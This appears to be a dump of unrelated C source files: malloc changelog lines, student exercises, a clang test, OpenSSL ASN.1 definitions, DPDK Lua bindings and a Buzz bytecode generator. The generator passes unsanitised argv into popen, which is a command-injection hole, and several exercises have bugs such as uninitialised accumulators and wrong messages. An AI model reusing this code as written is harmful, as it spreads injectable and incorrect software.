V2.5.4 Wed Nov 1 07:54:51 1995 Doug Lea (dl at gee)
* Added malloc_trim, with help from Wolfram Gloger
([email protected]).
V2.5.3 Tue Apr 26 10:16:01 1994 Doug Lea (dl at g)
V2.5.2 Tue Apr 5 16:20:40 1994 Doug Lea (dl at g)
* realloc: try to expand in both directions
* malloc: swap order of clean-bin strategy;
* realloc: only conditionally expand backwards
* Try not to scavenge used bins
* Use bin counts as a guide to preallocation
* Occasionally bin return list chunks in first scan
* Add a few optimizations from [email protected]
V2.5.1 Sat Aug 14 15:40:43 1993 Doug Lea (dl at g)
* faster bin computation & slightly different binning
* merged all consolidations to one part of malloc proper
(eliminating old malloc_find_space & malloc_clean_bin)
* Scan 2 returns chunks (not just 1)
* Propagate failure in realloc if malloc returns 0
* Add stuff to allow compilation on non-ANSI compilers
from [email protected]
V2.5 Sat Aug 7 07:41:59 1993 Doug Lea (dl at g.oswego.edu)
* removed potential for odd address access in prev_chunk
* removed dependency on getpagesize.h
* misc cosmetics and a bit more internal documentation
* anticosmetics: mangled names in macros to evade debugger strangeness
* tested on sparc, hp-700, dec-mips, rs6000
with gcc & native cc (hp, dec only) allowing
Detlefs & Zorn comparison study (in SIGPLAN Notices.)
Trial version Fri Aug 28 13:14:29 1992 Doug Lea (dl at g.oswego.edu)
* Based loosely on libg++-1.2X malloc. (It retains some of the overall
structure of old version, but most details differ.)
*/
|
the_stack_data/692906.c
|
/*************************************************************************
> File Name: printf_memaddr.c
> Author: luckxiang
> Created Time: 2015年12月21日 星期一 13时40分14秒
************************************************************************/
//非常标准的两个打印函数,稍作修改可以用在任何地方,掌握这两个函数调试问题事半功倍。
#include<stdio.h>
typedef unsigned char uint8_t;
typedef unsigned int uint32_t;
void dump_log(uint8_t *buf, uint32_t phy, int size)
{
int len, i, j, c;
#define PRINT(...) do { printf(__VA_ARGS__); } while(0)
for(i = 0; i < size; i += 16)
{
len = size - i;
if(len > 16)
len = 16;
PRINT("%08x ", i+phy);
for(j = 0; j < 16; j++)
{
if(j < len)
PRINT(" %02x", buf[i+j]);
else
PRINT(" ");
}
PRINT(" ");
for(j = 0; j < len; j++)
{
c = buf[i+j];
if (c < ' ' || c > '~')
c = '.';
PRINT("%c", c);
}
PRINT("\n");
}
#undef PRINT
}
void dump_reg(uint32_t *ioremap, uint32_t phy, int size)
{
int len, i, j;
#define PRINT(...) do { printf(__VA_ARGS__); } while(0)
PRINT("\n");
for(i = 0; i < size; i += 4)
{
len = size - i;
if(len > 4)
len = 4;
PRINT("%08x: ", (uint32_t)((i << 2) + phy));
for(j = 0; j < 4; j++)
{
if(j < len)
PRINT(" %08x", ioremap[i+j]);
else
PRINT(" ");
}
PRINT("\n");
}
PRINT("\n");
#undef PRINT
}
int main(int argc, char *argv[])
{
int p = 10;
unsigned char d = 3;
dump_reg(&p, (unsigned int)&p, 24);
dump_log(&d, (unsigned int)&d, 2400);
return 0;
}
|
the_stack_data/115109.c
|
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#define TEXT "hello great big world out there"
#define TEST_FILE "/mnt/snapshot/test_file"
// Assumes that the hwm module is already inserted into the kernel and is
// properly running.
int main(int argc, char** argv) {
int fd = open(TEST_FILE, O_RDWR | O_CREAT);
if (fd == -1) {
printf("Error opening test file\n");
return -1;
}
unsigned int str_len = strlen(TEXT) * sizeof(char);
unsigned int written = 0;
while (written != str_len) {
written = write(fd, TEXT + written, str_len - written);
if (written == -1) {
printf("Error while writing to test file\n");
goto out;
}
}
//fsync(fd);
close(fd);
return 0;
out:
close(fd);
return -1;
}
|
the_stack_data/59513217.c
|
/* SPDX-License-Identifier: BSD-3-Clause
* Copyright(c) 2019 Intel Corporation.
*/
/* Created 2018 by Keith Wiles @ intel.com */
#define lua_dpdk_c
#define LUA_LIB
#define lua_c
#ifdef RTE_LIBRTE_API
#include <rte_ethdev.h>
#include <rte_mbuf.h>
#include <rte_cycles.h>
#include <vec.h>
#include <rte_timer.h>
#include <pg_strings.h>
#include <rte_version.h>
#include <dapi.h>
#include "lua_config.h"
#include "lua_stdio.h"
#include "lua_dpdk.h"
#include "lua_dapi.h"
#include "lua_utils.h"
#ifndef __INTEL_COMPILER
#pragma GCC diagnostic ignored "-Wcast-qual"
#endif
static const char *Dapi = "Dapi";
static int
_create(lua_State *L)
{
dapi_t **dapi;
struct dapi *d;
const char *name;
validate_arg_count(L, 1);
name = luaL_checkstring(L, 1);
if (!name)
luaL_error(L, "Name is empty");
dapi = (struct dapi **)lua_newuserdata(L, sizeof(void *));
d = dapi_create((char *)(uintptr_t)name, 0, 0);
if (!d)
return luaL_error(L, "create: dapi_create() failed");
*dapi = d;
luaL_getmetatable(L, Dapi);
lua_setmetatable(L, -2);
return 1;
}
static int
_destroy(lua_State *L)
{
dapi_t **dapi;
validate_arg_count(L, 1);
dapi = (dapi_t **)luaL_checkudata(L, 1, Dapi);
dapi_destroy(*dapi);
return 0;
}
static int
_get(lua_State *L)
{
validate_arg_count(L, 2);
return 1;
}
static int
_put(lua_State *L)
{
validate_arg_count(L, 2);
return 0;
}
static int
_tostring(lua_State *L)
{
dapi_t **dapi;
struct dapi *d;
char buff[64];
dapi = (dapi_t **)luaL_checkudata(L, 1, Dapi);
if (!dapi || !*dapi)
return luaL_error(L, "tostring, dapi is nil");
d = *dapi;
lua_getmetatable(L, 1);
lua_getfield(L, -1, "__name");
snprintf(buff, sizeof(buff), "%s<%s>",
lua_tostring(L, -1), d->name);
lua_pop(L, 3);
lua_pushstring(L, buff);
return 1;
}
static int
_gc(lua_State *L __rte_unused)
{
return 0;
}
static const struct luaL_Reg _methods[] = {
{"get", _get},
{"put", _put},
{ NULL, NULL }
};
static const struct luaL_Reg _functions[] = {
{ "create", _create },
{ "destroy", _destroy},
{ NULL, NULL }
};
int
luaopen_dapi(lua_State *L)
{
luaL_newmetatable(L, Dapi); // create and push new table called Vec
lua_pushvalue(L, -1); // dup the table on the stack
lua_setfield(L, -2, "__index"); //
luaL_setfuncs(L, _methods, 0);
lua_pushstring(L, "__tostring");
lua_pushcfunction(L, _tostring);
lua_settable(L, -3);
lua_pushstring(L, "__gc");
lua_pushcfunction(L, _gc);
lua_settable(L, -3);
lua_pop(L, 1);
lua_getglobal(L, LUA_DPDK_LIBNAME);
lua_newtable(L);
luaL_setfuncs(L, _functions, 0);
lua_setfield(L, -2, LUA_DAPI_LIBNAME);
return 1;
}
#endif
|
the_stack_data/114281.c
|
#include <stdio.h>
int main(void){
int data[10]={};
int i;
int answer;
printf("入力してください\n");
answer=0;
for(i=0;i<10;i++){
scanf("%d",&data[i]);
answer+=data[i];}
printf("%d\n",answer);
return (0);
}
|
the_stack_data/94834.c
|
#include <assert.h>
int solution(int number) {
int total = 0;
for(int i=3; i<number; i = i+3) {
total += i;
}
for(int i=5; i<number; i = i+5) {
if (i % 3 != 0)
total += i;
}
return total;
}
// Test Code
int main (int argc, char *argv[]) {
assert(solution(10) == 23);
return 0;
}
|
the_stack_data/136076716.c
|
// RUN: %clang_cc1 -no-opaque-pointers -triple x86_64 -emit-llvm -debug-info-kind=limited %s -o - | FileCheck %s
#define _(x) (__builtin_preserve_access_index(x))
struct s1 {
char a;
int b[4];
};
const void *unit1(struct s1 *arg) {
return _(&arg->b[2]);
}
// CHECK: define dso_local i8* @unit1
// CHECK: call [4 x i32]* @llvm.preserve.struct.access.index.p0a4i32.p0s_struct.s1s(%struct.s1* elementtype(%struct.s1) %{{[0-9a-z]+}}, i32 1, i32 1), !dbg !{{[0-9]+}}, !llvm.preserve.access.index ![[STRUCT_S1:[0-9]+]]
// CHECK: call i32* @llvm.preserve.array.access.index.p0i32.p0a4i32([4 x i32]* elementtype([4 x i32]) %{{[0-9a-z]+}}, i32 1, i32 2), !dbg !{{[0-9]+}}, !llvm.preserve.access.index ![[ARRAY:[0-9]+]]
//
// CHECK: ![[ARRAY]] = !DICompositeType(tag: DW_TAG_array_type
// CHECK: ![[STRUCT_S1]] = distinct !DICompositeType(tag: DW_TAG_structure_type, name: "s1"
|
the_stack_data/13726.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <libgen.h>
#include <stdint.h>
#include <inttypes.h>
#include <stdbool.h>
#ifdef _WIN32
#define PATH_SEP '\\'
#else
#define PATH_SEP '/'
#endif
/**
* @brief Removes the "extension" from a file spec.
* @param[in] mystr The string to process.
* @param[in] dot The extension separator.
* @param[in] sep The path separator (0 means to ignore).
* @return An allocated string identical to the original but
* with the extension removed. It must be freed when you're
* finished with it.
* @note If you pass in NULL or the new string can't be allocated,
* it returns NULL.
*/
char *remove_ext (char* mystr, char dot, char sep) {
char *retstr, *lastdot, *lastsep;
// Error checks and allocate string.
if (mystr == NULL)
return NULL;
if ((retstr = malloc (strlen (mystr) + 1)) == NULL)
return NULL;
// Make a copy and find the relevant characters.
strcpy (retstr, mystr);
lastdot = strrchr (retstr, dot);
lastsep = (sep == 0) ? NULL : strrchr (retstr, sep);
// If it has an extension separator.
if (lastdot != NULL) {
// and it's before the extenstion separator.
if (lastsep != NULL) {
if (lastsep < lastdot) {
// then remove it.
*lastdot = '\0';
}
} else {
// Has extension separator with no path separator.
*lastdot = '\0';
}
}
// Return the modified string.
return retstr;
}
bool is_valid_char(char c) {
return
(c >= 'A' && c <= 'Z') ||
(c >= 'a' && c <= 'z') ||
(c >= '0' && c <= '9') ||
c == '_' ||
c == '\0';
}
int main(int argc, char** argv) {
if (argc != 3) {
printf("Usage: \n\tbcodegen <buzzscript.bo> <outfile.h>\n\n\n"
"Metaprogram which takes a Buzz object (.bo) file generated \n"
"by the Buzz compiler (bzzc or bzzasm) and generates a header \n"
"file containing raw bytecode for kilobot/zooids/crazyflie programs, as well \n"
"as macros corresponding to the string ID of strings appearing \n"
"in the Buzz program.\n\n"
"The bytecode is available as 'uint8_t bcode[]', and its size \n"
"is stored as 'uint16_t bcode_size'.\n\n"
"Given a string, use the 'BBZSTRING_ID' macro defined in \n"
"\"bbzstring.h\" to get the string ID of a string. Note that \n"
"all characters that would otherwise make an invalid \n"
"identifier should be replaced by an underscore (case remains \n"
"unchanged). Thus, some string names may collide.\n"
"E.g. \"2 Swarms\" -> BBZSTRING_ID(__Swarms).\n");
return 1;
}
char str[1024] = "./bo2bbo ";
char* outFile = remove_ext(basename(argv[1]), '.', PATH_SEP);
outFile = realloc(outFile, strlen(outFile) + 5);
strcat(outFile, ".bbo");
basename(argv[1]);
strcat(str, argv[1]);
strcat(str, " ");
strcat(str, outFile);
FILE* bo2bbo_proc = popen(str, "r");
if (!bo2bbo_proc) {
fprintf(stderr, "Failed to run bo2bbo on %s\n", basename(argv[1]));
return 1;
}
while(fgets(str, sizeof(str)-1, bo2bbo_proc) != NULL) {
printf("%s", str);
}
fclose(bo2bbo_proc);
FILE* f_in = fopen(outFile, "rb");
if (!f_in) {
fprintf(stderr, "Cannot open %s\n", outFile);
return 2;
}
FILE* f_out = fopen(argv[2], "w");
if (!f_out) {
fprintf(stderr, "Cannot open %s\n", argv[2]);
return 2;
}
fseek(f_in, 0, SEEK_END);
uintmax_t bcode_size = (uintmax_t)ftell(f_in);
fseek(f_in, 0, SEEK_SET);
fprintf(f_out, "#ifndef CRAZYFLIEBCODEGEN_H\n");
fprintf(f_out, "#define CRAZYFLIEBCODEGEN_H\n\n");
fprintf(f_out, "#include <inttypes.h>\n\n");
fprintf(f_out, "__attribute__((section(\".bcode.data\"))) "
"// Write bytecode inside the flash\n");
fprintf(f_out, "const uint8_t bcode[] = {");
if (bcode_size > 0) {
uint8_t buf;
fread(&buf, 1, 1, f_in);
fprintf(f_out, "%" PRIu8, buf);
for (unsigned int i = 1; i < bcode_size; ++i) {
fread(&buf, 1, 1, f_in);
fprintf(f_out, ",%" PRIu8, buf);
}
// We make sure that the alignment is on 2 bytes because it will be in the flash and
// the alignment is needed for the simulator
if (bcode_size % 2 == 1) {
fprintf(f_out, ",0");
}
}
fprintf(f_out, "};\n\n");
fprintf(f_out, "/*__attribute__((section(\".bcode.size\")))*/ __attribute__((used))\n");
fprintf(f_out, "const uint16_t bcode_size = %d;\n\n", (unsigned int)bcode_size);
FILE* f_obj = fopen(argv[1], "rb");
if (!f_obj) {
fprintf(stderr, "Cannot open %s\n", argv[1]);
return 2;
}
char buf;
uint16_t strcnt;
fread(&strcnt, sizeof(strcnt), 1, f_obj);
for (int i = 0; i < strcnt; ++i) {
strcpy(str, "");
do {
fread(&buf, sizeof(buf), 1, f_obj);
if (!is_valid_char(buf)) {
buf = '_';
}
strncat(str, &buf, 1);
} while(buf != '\0');
if (!strchr(str, ' ')) {
fprintf(f_out, "#define BBZSTRID_%s %d\n", str, i);
}
}
fprintf(f_out, "\n#endif // !CRAZYFLIEBCODEGEN_H\n");
fclose(f_in);
fclose(f_out);
fclose(f_obj);
free(outFile);
return 0;
}
|
the_stack_data/920578.c
|
/*
* Assignment 2 (CSE436)
* Kazumi Malhan
* 06/08/2016
*/
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <string.h>
#include <sys/timeb.h>
/* read timer in second */
double read_timer() {
struct timeb tm;
ftime(&tm);
return (double) tm.time + (double) tm.millitm / 1000.0;
}
/* read timer in ms */
double read_timer_ms() {
struct timeb tm;
ftime(&tm);
return (double) tm.time * 1000.0 + (double) tm.millitm;
}
#define REAL float
#define VECTOR_LENGTH 102400
/* initialize a vector with random floating point numbers */
void init(REAL *A, int N) {
int i;
for (i = 0; i < N; i++) {
A[i] = (double) drand48();
}
}
/* Function Prototypes */
REAL sum (int N, REAL *A);
REAL sum_omp_parallel (int N, REAL *A, int num_tasks);
REAL sum_omp_parallel_for (int N, REAL *A, int num_tasks);
/*
* To compile: gcc sum.c -fopenmp -o sum
* To run: ./sum N num_tasks
*/
int main(int argc, char *argv[]) {
int N = VECTOR_LENGTH;
int num_tasks = 4;
double elapsed_serial, elapsed_para, elapsed_para_for; /* for timing */
if (argc < 3) {
fprintf(stderr, "Usage: sum [<N(%d)>] [<#tasks(%d)>]\n", N,num_tasks);
fprintf(stderr, "\t Example: ./sum %d %d\n", N,num_tasks);
} else {
N = atoi(argv[1]);
num_tasks = atoi(argv[2]);
}
REAL *A = (REAL*)malloc(sizeof(REAL)*N);
srand48((1 << 12));
init(A, N);
/* Serial Run */
elapsed_serial = read_timer();
REAL result = sum(N, A);
elapsed_serial = (read_timer() - elapsed_serial);
/* Parallel Run */
elapsed_para = read_timer();
result = sum_omp_parallel(N, A, num_tasks);
elapsed_para = (read_timer() - elapsed_para);
/* Parallel For Run */
elapsed_para_for = read_timer();
result = sum_omp_parallel_for(N, A, num_tasks);
elapsed_para_for = (read_timer() - elapsed_para_for);
/* you should add the call to each function and time the execution */
printf("======================================================================================================\n");
printf("\tSum %d numbers with %d tasks\n", N, num_tasks);
printf("------------------------------------------------------------------------------------------------------\n");
printf("Performance:\t\tRuntime (ms)\t MFLOPS \n");
printf("------------------------------------------------------------------------------------------------------\n");
printf("Sum Serial:\t\t\t%4f\t%4f\n", elapsed_serial * 1.0e3, 2*N / (1.0e6 * elapsed_serial));
printf("Sum Parallel:\t\t\t%4f\t%4f\n", elapsed_para * 1.0e3, (2*N+num_tasks) / (1.0e6 * elapsed_para));
printf("Sum Parallel For:\t\t%4f\t%4f\n", elapsed_para_for * 1.0e3, 2*N / (1.0e6 * elapsed_para_for));
free(A);
return 0;
}
/* Serial Implemenration */
REAL sum(int N, REAL *A) {
int i;
REAL result = 0.0;
for (i = 0; i < N; ++i)
result += A[i];
return result;
}
/* Parallel Implemenration */
REAL sum_omp_parallel (int N, REAL *A, int num_tasks) {
REAL result = 0.0;
int partial_result[num_tasks];
int t;
/* Determine if task can be evenly distrubutable */
int each_task = N / num_tasks;
int leftover = N - (each_task * num_tasks);
#pragma omp parallel shared (N, A, num_tasks, leftover) num_threads(num_tasks)
{
int i, tid, istart, iend;
REAL temp;
tid = omp_get_thread_num();
istart = tid * (N / num_tasks);
iend = (tid + 1) * (N / num_tasks);
for (i = istart; i < iend; ++i) {
temp += A[i];
}
/* Take care left over */
if (tid < leftover) {
temp += A[N - tid - 1];
}
partial_result[tid] = temp;
} // end of parallel
/* Add result together */
for(t=0; t<num_tasks; t++)
result += partial_result[t];
return result;
}
/* Parallel For Implemenration */
REAL sum_omp_parallel_for (int N, REAL *A, int num_tasks) {
int i;
REAL result = 0.0;
# pragma omp parallel shared (N, A, result) private (i) num_threads(num_tasks)
{
# pragma omp for schedule(runtime) reduction (+:result) nowait
for (i = 0; i < N; ++i) {
result += A[i];
}
} // end of parallel
return result;
}
|
the_stack_data/34060.c
|
#include <stdio.h>
int main()
{
int x,y;
while (1)
{
scanf("%d%d", &x,&y);
if (x == y)
{
break;
}
else if (x < y)
{
printf("Crescente\n");
}
else
{
printf("Decrescente\n");
}
}
return 0;
}
|
the_stack_data/159514343.c
|
#include <stdio.h>
#include <math.h>
int main(int argc, char * argv[])
{
FILE * f = fopen("text.txt","w");
//distance
int i,j;
for(j = 32; j < 64; j++)
{
for(i = 0; i < 256; i++)
{
if((i & 31) == 0) fprintf(f,"DB ");
float dist = j;
float angle = i;
float y = (dist * sin(angle*2.0*M_PI/256.0));
signed char gb_val_0 = y;
fprintf(f,"$%02X",gb_val_0&0xFF);
if((i & 31) == 31) fprintf(f,"\n");
else fprintf(f,",");
}
}
fprintf(f,"\n");
fprintf(f,"fake3d_pal_red:\n");
for(i = 0; i < 256; i++)
{
if((i & 15) == 0) fprintf(f,"DW ");
float angle = i;
float y = 20 + (11 * sin(angle*2.0*M_PI/256.0));
unsigned short gb_val_0 = y;
fprintf(f,"$%04X",gb_val_0&0xFFFF);
if((i & 15) == 15) fprintf(f,"\n");
else fprintf(f,",");
}
fprintf(f,"\n");
fprintf(f,"fake3d_pal_green:\n");
for(i = 0; i < 256; i++)
{
if((i & 15) == 0) fprintf(f,"DW ");
float angle = i;
float y = 20 + (11 * sin(angle*2.0*M_PI/256.0));
unsigned short gb_val_0 = y;
gb_val_0 = gb_val_0<<5;
fprintf(f,"$%04X",gb_val_0&0xFFFF);
if((i & 15) == 15) fprintf(f,"\n");
else fprintf(f,",");
}
fprintf(f,"\n");
fprintf(f,"fake3d_pal_blue:\n");
for(i = 0; i < 256; i++)
{
if((i & 15) == 0) fprintf(f,"DW ");
float angle = i;
float y = 20 + (11 * sin(angle*2.0*M_PI/256.0));
unsigned short gb_val_0 = y;
gb_val_0 = gb_val_0<<10;
fprintf(f,"$%04X",gb_val_0&0xFFFF);
if((i & 15) == 15) fprintf(f,"\n");
else fprintf(f,",");
}
fprintf(f,"\n");
fprintf(f,"fake3d_pal_yellow:\n");
for(i = 0; i < 256; i++)
{
if((i & 15) == 0) fprintf(f,"DW ");
float angle = i;
float y = 20 + (11 * sin(angle*2.0*M_PI/256.0));
unsigned short gb_val_0 = y;
gb_val_0 = (gb_val_0<<5)|gb_val_0;
fprintf(f,"$%04X",gb_val_0&0xFFFF);
if((i & 15) == 15) fprintf(f,"\n");
else fprintf(f,",");
}
fprintf(f,"\n");
fprintf(f,"fake3d_pal_cyan:\n");
for(i = 0; i < 256; i++)
{
if((i & 15) == 0) fprintf(f,"DW ");
float angle = i;
float y = 20 + (11 * sin(angle*2.0*M_PI/256.0));
unsigned short gb_val_0 = y;
gb_val_0 = (gb_val_0<<10)|(gb_val_0<<5);
fprintf(f,"$%04X",gb_val_0&0xFFFF);
if((i & 15) == 15) fprintf(f,"\n");
else fprintf(f,",");
}
fprintf(f,"\n");
fclose(f);
return 0;
}
|
the_stack_data/1184788.c
|
#include <stdio.h>
#include <stdarg.h>
void myprintf(char *extra, char *fmt, ...)
{
va_list pargs;
fputs(extra, stdout); putc(':', stdout);
va_start(pargs, fmt);
vprintf(fmt, pargs);
va_end(pargs);
}
int main(int argc, char **argv)
{
myprintf("yes", "hello world %d\n", 12);
return 0;
}
|
the_stack_data/6386675.c
|
void foo(void);
void foo(void)
{
char p = 1;
char c = p == 1;
}
|
the_stack_data/48574280.c
|
/* memmove( void *, const void *, size_t )
This file is part of the Public Domain C Library (PDCLib).
Permission is granted to use, modify, and / or redistribute at will.
*/
#include <string.h>
void* memmove(void* s1, const void* s2, size_t n)
{
char* dest = (char*)s1;
const char* src = (const char*)s2;
if (dest <= src) {
while (n--) {
*dest++ = *src++;
}
} else {
src += n;
dest += n;
while (n--) {
*--dest = *--src;
}
}
return s1;
}
|
the_stack_data/90764183.c
|
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
typedef struct{
char name[20];
int score;
} Student;
int main(void){
int n, sum = 0;
FILE *fp;
fp = fopen("student.txt", "r");
fscanf(fp, "%d", &n);
Student *students = (Student*)malloc(sizeof(Student)*n);
for (int i = 0; i< n; i++){
fscanf(fp, "%s %d", &((students +i)->name), &((students+i)->score));
printf("이름: %s, 성적: %d\n", (students+i)->name, (students+i)->score);
}
return 0;
}
|
the_stack_data/117326832.c
|
#include <stdio.h>
int main()
{
int A[3]={1, 2, 3};
/* Address of elements in an array */
printf("%d ", A);
printf("%d ", A+1);
printf("%d ", A+2);
printf("\n");
printf("%d ", *A);
printf("%d ", *(A+0));
printf("%d ", *(A+1));
printf("%d ", *(A+2));
printf("\n");
int *ptr = A;
printf("Value of first element is %d", *ptr);
printf("\n");
// sizof(int) * (number of element in A[]) is printed
printf("Size of A[] %d\n", sizeof(A));
// sizeof a pointer is printed which is same for all type
// of pointers (char *, void *, etc)
printf("Size of ptr %d", sizeof(ptr));
printf("\n");
printf("A[2] = %d\n", A[2]);
printf("*(A + 2) = %d\n", *(A + 2));
printf("ptr[2] = %d\n", ptr[2]);
printf("*(ptr + 2) = %d\n", *(ptr + 2));
return 0;
}
|
the_stack_data/231392243.c
|
/* v3_pcia.c -*- mode:C; c-file-style: "eay" -*- */
/*
* Contributed to the OpenSSL Project 2004 by Richard Levitte
* ([email protected])
*/
/* Copyright (c) 2004 Kungliga Tekniska Högskolan
* (Royal Institute of Technology, Stockholm, Sweden).
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* 3. Neither the name of the Institute nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE INSTITUTE AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE INSTITUTE OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#include <openssl/asn1.h>
#include <openssl/asn1t.h>
#include <openssl/x509v3.h>
ASN1_SEQUENCE(PROXY_POLICY) =
{
ASN1_SIMPLE(PROXY_POLICY,policyLanguage,ASN1_OBJECT),
ASN1_OPT(PROXY_POLICY,policy,ASN1_OCTET_STRING)
} ASN1_SEQUENCE_END(PROXY_POLICY)
IMPLEMENT_ASN1_FUNCTIONS(PROXY_POLICY)
ASN1_SEQUENCE(PROXY_CERT_INFO_EXTENSION) =
{
ASN1_OPT(PROXY_CERT_INFO_EXTENSION,pcPathLengthConstraint,ASN1_INTEGER),
ASN1_SIMPLE(PROXY_CERT_INFO_EXTENSION,proxyPolicy,PROXY_POLICY)
} ASN1_SEQUENCE_END(PROXY_CERT_INFO_EXTENSION)
IMPLEMENT_ASN1_FUNCTIONS(PROXY_CERT_INFO_EXTENSION)
|
the_stack_data/105053.c
|
// https://parzibyte.me/blog
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define MAXIMA_LONGITUD_CADENA 100
struct nodoCadena
{
// El verdadero dato
char cadena[MAXIMA_LONGITUD_CADENA];
// Las ramas
struct nodoCadena *izquierda;
struct nodoCadena *derecha;
};
struct nodoCadena *nuevoNodo(char cadena[MAXIMA_LONGITUD_CADENA])
{
// Solicitar memoria
size_t tamanioNodo = sizeof(struct nodoCadena);
struct nodoCadena *nodo = (struct nodoCadena *)malloc(tamanioNodo);
// Asignar el dato e iniciar hojas
strcpy(nodo->cadena, cadena);
nodo->izquierda = nodo->derecha = NULL;
return nodo;
}
void agregar(struct nodoCadena *nodo, char *cadena)
{
if (strcmp(cadena, nodo->cadena) > 0)
{
if (nodo->derecha == NULL)
{
nodo->derecha = nuevoNodo(cadena);
}
else
{
agregar(nodo->derecha, cadena);
}
}
else
{
if (nodo->izquierda == NULL)
{
nodo->izquierda = nuevoNodo(cadena);
}
else
{
agregar(nodo->izquierda, cadena);
}
}
}
struct nodoCadena *buscar(struct nodoCadena *nodo, char *cadena)
{
if (nodo == NULL)
{
return NULL;
}
if (strcmp(cadena, nodo->cadena) == 0)
{
return nodo;
}
else if (strcmp(cadena, nodo->cadena) > 0)
{
return buscar(nodo->derecha, cadena);
}
else
{
return buscar(nodo->izquierda, cadena);
}
}
void preorden(struct nodoCadena *nodo)
{
if (nodo != NULL)
{
printf("%s,", nodo->cadena);
preorden(nodo->izquierda);
preorden(nodo->derecha);
}
}
void inorden(struct nodoCadena *nodo)
{
if (nodo != NULL)
{
inorden(nodo->izquierda);
printf("%s,", nodo->cadena);
inorden(nodo->derecha);
}
}
void postorden(struct nodoCadena *nodo)
{
if (nodo != NULL)
{
postorden(nodo->izquierda);
postorden(nodo->derecha);
printf("%s,", nodo->cadena);
}
}
int main(int argc, char const *argv[])
{
// Declarar raíz
struct nodoCadena *raiz = NULL;
// También podría ser:
// struct nodoCadena *raiz = nuevoNodo("Dato");
// La primera vez hay que comprobar si la raíz es NULL
if (raiz == NULL)
{
raiz = nuevoNodo("Luis");
}
// Agregar varias cadenas
agregar(raiz, "Marijo");
agregar(raiz, "Dennis");
agregar(raiz, "Taylor");
agregar(raiz, "Guido");
agregar(raiz, "Andrew");
agregar(raiz, "Leon");
agregar(raiz, "Jack");
agregar(raiz, "Aloy");
printf("\nInorden: \n");
inorden(raiz);
printf("\nPostorden: \n");
postorden(raiz);
printf("\nPreorden: \n");
preorden(raiz);
printf("\n");
// Mostrar búsqueda
char busqueda[MAXIMA_LONGITUD_CADENA] = "Chris";
struct nodoCadena *apuntador = buscar(raiz, busqueda);
if (apuntador == NULL)
{
printf("%s no existe en el árbol\n", busqueda);
}
else
{
printf("%s sí existe en el árbol\n", busqueda);
}
// Otra búsqueda con alguien que sabemos que sí existe
char otraBusqueda[MAXIMA_LONGITUD_CADENA] = "Guido";
apuntador = buscar(raiz, otraBusqueda);
if (apuntador != NULL)
{
printf("%s sí existe en el árbol\n", otraBusqueda);
}
else
{
printf("%s sí existe en el árbol\n", otraBusqueda);
}
return 0;
}
|
the_stack_data/383389.c
|
/*
K.N.King "C Programming. A Modern Approach."
Programming project 4 p.50
Write a program that prompts the user to enter a telephone
number in the form (xxx) xxx-xxxx and then displays the
number in the form xxx.xxx.xxxx:
"Enter phone number [(xxx) xxx-xxxx]: (404) 817-6900
You entered 404.817.6900
*/
#include <stdlib.h>
#include <ctype.h>
#include <stdio.h>
#define BUFFER_SIZE 256
#define INPUT_INVALID_MSG "Input invalid. Please try again."
struct PhoneNumber
{
// make sure we add an extra byte to each string
// to store the null terminating character
char firstDigitGroup[4];
char secondDigitGroup[4];
char thirdDigitGroup[5];
};
int IsNumericLiteral(const char *s);
int main(void)
{
struct PhoneNumber phoneNumber = { 0 };
int scanfState = 0;
int isInputValid = 0;
const char *numericLiteralsToValidate[] = {
phoneNumber.firstDigitGroup,
phoneNumber.secondDigitGroup,
phoneNumber.thirdDigitGroup,
NULL // make sure we null-terminate the array
};
const char *FORMAT_STRING = "(%%%ds)%%%ds-%%%ds";
char buffer[BUFFER_SIZE] = { 0 };
sprintf(buffer, FORMAT_STRING,
( sizeof(phoneNumber.firstDigitGroup) - 1) / sizeof(char),
( sizeof(phoneNumber.secondDigitGroup) - 1) / sizeof(char),
( sizeof(phoneNumber.thirdDigitGroup) - 1) / sizeof(char));
printf("Enter phone number [(xxx) xxx-xxxx]: ");
while (!isInputValid)
{
scanfState = scanf(buffer,
phoneNumber.firstDigitGroup,
phoneNumber.secondDigitGroup,
phoneNumber.thirdDigitGroup);
if (scanfState <3) {
// input invalid
puts(INPUT_INVALID_MSG);
// consume trailing invalid input
char c = '\0';
while ((c = getchar()) != '\n' && c != EOF) {
continue;
}
continue;
}
// consume the trailing new line character
// left by scanf
getchar();
// make sure user only entered digits
isInputValid = 1;
const char **inputStringPtr = &numericLiteralsToValidate[0];
while (*inputStringPtr != NULL) {
isInputValid = isInputValid && IsNumericLiteral(*inputStringPtr);
if (!isInputValid) {
puts(INPUT_INVALID_MSG);
break;
}
++inputStringPtr;
}
}
printf("%s.%s.%s\n",
phoneNumber.firstDigitGroup,
phoneNumber.secondDigitGroup,
phoneNumber.thirdDigitGroup);
getchar();
return EXIT_SUCCESS;
}
